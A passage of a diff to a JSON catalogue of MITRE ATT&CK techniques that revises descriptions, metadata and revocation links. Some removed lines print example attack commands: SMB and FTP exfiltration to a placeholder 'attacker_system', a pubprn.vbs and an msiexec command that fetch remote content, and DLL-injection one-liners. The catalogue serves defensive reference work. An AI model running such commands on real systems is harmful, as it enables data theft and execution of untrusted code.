Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", "meta": { "external_id": "CAPEC-17", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "File monitoring", - "Services", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1044", "https://capec.mitre.org/data/definitions/17.html", @@ -2980,6 +4660,15 @@ "http://seclists.org/fulldisclosure/2015/Dec/34" ] }, + "related": [ + { + "dest-uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", "value": "File System Permissions Weakness - T1044" }, @@ -3029,14 +4718,13 @@ "value": "Obtain Device Cloud Backups - T1470" }, { - "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different channels could include Internet Web services such as cloud storage.\n\nAdversaries may leverage various operating system utilities to exfiltrate data over an alternative protocol. \n\nSMB command-line example:\n\n* net use \\\\\\attacker_system\\IPC$ /user:username password && xcopy /S /H /C /Y C:\\Users\\\\* \\\\\\attacker_system\\share_folder\\\n\nAnonymous FTP command-line example:(Citation: Palo Alto OilRig Oct 2016)\n\n* echo PUT C:\\Path\\to\\file.txt | ftp -A attacker_system\n", + "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) ", "meta": { "external_id": "T1048", "kill_chain": [ "mitre-attack:exfiltration" ], "mitre_data_sources": [ - "User interface", "Process monitoring", "Process use of network", "Packet capture", @@ -3079,7 +4767,7 @@ "value": "Access Stored Application Data - T1409" }, { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\n### Windows\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039).\n\n### Mac and Linux \n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\nAn adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate.(Citation: Amazon AWS VPC Guide)(Citation: Microsoft Azure Virtual Network Overview)(Citation: Google VPC Overview)\n\nUtilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), \"net use,\" and \"net session\" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".", "meta": { "external_id": "T1049", "kill_chain": [ @@ -3107,22 +4795,38 @@ "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", "value": "System Network Connections Discovery - T1049" }, + { + "description": "Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls. \n\nAuthentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process.(Citation: NIST Authentication)(Citation: NIST MFA)\n\nCaching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.\n", + "meta": { + "external_id": "T1550", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Office 365 audit logs", + "OAuth audit logs", + "Authentication logs" + ], + "mitre_platforms": [ + "Windows", + "Office 365", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1550", + "https://csrc.nist.gov/glossary/term/authentication", + "https://csrc.nist.gov/glossary/term/Multi_Factor-Authentication", + "https://technet.microsoft.com/en-us/library/dn487457.aspx" + ] + }, + "uuid": "51a14c76-dd3b-440b-9c20-2bf91d25a814", + "value": "Use Alternate Authentication Material - T1550" + }, { "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)", "meta": { "external_id": "CAPEC-478", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "Process command-line parameters", - "Services", - "Windows Registry" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1058", "https://capec.mitre.org/data/definitions/478.html", @@ -3132,37 +4836,65 @@ "https://technet.microsoft.com/en-us/sysinternals/bb963902" ] }, + "related": [ + { + "dest-uuid": "17cc750b-e95b-4d7d-9dde-49e0de24148c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427", "value": "Service Registry Permissions Weakness - T1058" }, { - "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", + "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells.", "meta": { - "external_id": "T1066", + "external_id": "T1059", "kill_chain": [ - "mitre-attack:defense-evasion" + "mitre-attack:execution" ], "mitre_data_sources": [ - "Process use of network", + "Windows event logs", + "PowerShell logs", "Process monitoring", - "Process command-line parameters", - "Anti-virus", - "Binary file metadata" + "Process command-line parameters" ], "mitre_platforms": [ "Linux", "macOS", "Windows" ], + "refs": [ + "https://attack.mitre.org/techniques/T1059" + ] + }, + "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "value": "Command and Scripting Interpreter - T1059" + }, + { + "description": "If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.", + "meta": { + "external_id": "T1066", "refs": [ "https://attack.mitre.org/techniques/T1066" ] }, + "related": [ + { + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "00d0b012-8a03-410e-95de-5826bf542de6", "value": "Indicator Removal from Tools - T1066" }, { - "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform Privilege Escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.", + "description": "Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This may be a necessary step for an adversary compromising a endpoint system that has been properly configured and limits other privilege escalation methods.", "meta": { "external_id": "T1068", "kill_chain": [ @@ -3189,19 +4921,6 @@ "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)\n\nAnother bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)", "meta": { "external_id": "T1088", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "System calls", - "Process monitoring", - "Authentication logs", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1088", "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", @@ -3216,11 +4935,20 @@ "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" ] }, + "related": [ + { + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", "value": "Bypass User Account Control - T1088" }, { - "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1063). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.", + "description": "Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.\n\nAdversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.", "meta": { "external_id": "T1211", "kill_chain": [ @@ -3247,33 +4975,31 @@ "description": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)\n\nAlthough small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.\n\nExecution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "meta": { "external_id": "T1181", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:privilege-escalation" - ], - "mitre_data_sources": [ - "API monitoring", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1181", "https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx", "https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx", "https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", "https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html", "https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/", - "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx", - "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + "https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx" ] }, + "related": [ + { + "dest-uuid": "0042a9f5-f053-4769-b3ef-9ad018dfa298", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0", "value": "Extra Window Memory Injection - T1181" }, { - "description": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. (Citation: Technet MS14-068) (Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", + "description": "Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.", "meta": { "external_id": "T1212", "kill_chain": [ @@ -3302,30 +5028,27 @@ "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.", "meta": { "external_id": "T1122", - "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "Windows Registry", - "DLL monitoring", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1122", "https://msdn.microsoft.com/library/ms694363.aspx", "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence", - "https://www.endgame.com/blog/how-hunt-detecting-persistence-evasion-com" + "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com" ] }, + "related": [ + { + "dest-uuid": "bc0f5e80-91c0-4e04-9fbb-e4e332c85dae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", "value": "Component Object Model Hijacking - T1122" }, { - "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nAdversaries may also collect information from shared storage repositories hosted on cloud infrastructure or in software-as-a-service (SaaS) applications, as storage is one of the more fundamental requirements for cloud services and systems.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nSpecific common information repositories include:\n\n### Microsoft SharePoint\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n### Atlassian Confluence\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.", + "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nAdversaries may also collect information from shared storage repositories hosted on cloud infrastructure or in software-as-a-service (SaaS) applications, as storage is one of the more fundamental requirements for cloud services and systems.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nInformation stored in a repository may vary based on the specific instance or environment. Specific common information repositories include [Sharepoint](https://attack.mitre.org/techniques/T1213/002), [Confluence](https://attack.mitre.org/techniques/T1213/001), and enterprise databases such as SQL Server.", "meta": { "external_id": "T1213", "kill_chain": [ @@ -3348,7 +5071,8 @@ "SaaS", "AWS", "GCP", - "Azure" + "Azure", + "Office 365" ], "refs": [ "https://attack.mitre.org/techniques/T1213", @@ -3381,18 +5105,6 @@ "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)", "meta": { "external_id": "T1215", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_data_sources": [ - "System calls", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1215", "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", @@ -3409,6 +5121,15 @@ "http://tldp.org/HOWTO/Module-HOWTO/x197.html" ] }, + "related": [ + { + "dest-uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "6be14413-578e-46c1-8304-310762b3ecd5", "value": "Kernel Modules and Extensions - T1215" }, @@ -3416,33 +5137,29 @@ "description": "Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)\n\nAdversaries may remove share connections that are no longer useful in order to clean up traces of their operation.", "meta": { "external_id": "T1126", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters", - "Packet capture", - "Authentication logs" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1126", "https://technet.microsoft.com/bb490717.aspx" ] }, + "related": [ + { + "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], "uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a", "value": "Network Share Connection Removal - T1126" }, { - "description": "Scripts signed with trusted certificates can be used to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application whitelisting solutions that do not account for use of these scripts.\n\nPubPrn.vbs is signed by Microsoft and can be used to proxy execution from a remote site. (Citation: Enigma0x3 PubPrn Bypass) Example command: cscript C[:]\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png\n\nThere are several other signed scripts that may be used in a similar manner. (Citation: GitHub Ultimate AppLocker Bypass List)", + "description": "Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", "meta": { "external_id": "T1216", "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" + "mitre-attack:defense-evasion" ], "mitre_data_sources": [ "Process monitoring", @@ -3453,7 +5170,6 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1216", - "https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/", "https://github.com/api0cradle/UltimateAppLockerByPassList" ] }, @@ -3461,14 +5177,20 @@ "value": "Signed Script Proxy Execution - T1216" }, { - "description": "Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application whitelisting and signature validation on systems. This technique accounts for proxy execution methods that are not already accounted for within the existing techniques.\n\n### Msiexec.exe\nMsiexec.exe is the command-line Windows utility for the Windows Installer. Adversaries may use msiexec.exe to launch malicious MSI files for code execution. An adversary may use it to launch local or network accessible MSI files.(Citation: LOLBAS Msiexec)(Citation: Rancor Unit42 June 2018)(Citation: TrendMicro Msiexec Feb 2018) Msiexec.exe may also be used to execute DLLs.(Citation: LOLBAS Msiexec)\n\n* msiexec.exe /q /i \"C:\\path\\to\\file.msi\"\n* msiexec.exe /q /i http[:]//site[.]com/file.msi\n* msiexec.exe /y \"C:\\path\\to\\file.dll\"\n\n### Mavinject.exe\nMavinject.exe is a Windows utility that allows for code execution. Mavinject can be used to input a DLL into a running process. (Citation: Twitter gN3mes1s Status Update MavInject32)\n\n* \"C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe\" <PID> /INJECTRUNNING <PATH DLL>\n* C:\\Windows\\system32\\mavinject.exe <PID> /INJECTRUNNING <PATH DLL>\n\n### SyncAppvPublishingServer.exe\nSyncAppvPublishingServer.exe can be used to run PowerShell scripts without executing powershell.exe. (Citation: Twitter monoxgas Status Update SyncAppvPublishingServer)\n\n### Odbcconf.exe\nOdbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The utility can be misused to execute functionality equivalent to [Regsvr32](https://attack.mitre.org/techniques/T1117) with the REGSVR option to execute a DLL.(Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017)\n\n* odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}\n\nSeveral other binaries exist that may be used to perform similar behavior. (Citation: GitHub Ultimate AppLocker Bypass List)", + "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.", "meta": { "external_id": "T1218", "kill_chain": [ - "mitre-attack:defense-evasion", - "mitre-attack:execution" + "mitre-attack:defense-evasion" ], "mitre_data_sources": [ + "API monitoring", + "File monitoring", + "Binary file metadata", + "Process use of network", + "Windows Registry", + "Loaded DLLs", + "DLL monitoring", "Process monitoring", "Process command-line parameters" ], @@ -3476,46 +5198,12 @@ "Windows" ], "refs": [ - "https://attack.mitre.org/techniques/T1218", - "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/", - "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/", - "https://twitter.com/gn3mes1s/status/941315826107510784", - "https://twitter.com/monoxgas/status/895045566090010624", - "https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017", - "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/", - "https://github.com/api0cradle/UltimateAppLockerByPassList" + "https://attack.mitre.org/techniques/T1218" ] }, "uuid": "457c7820-d331-465a-915e-42f85500ccc4", "value": "Signed Binary Proxy Execution - T1218" }, - { - "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified 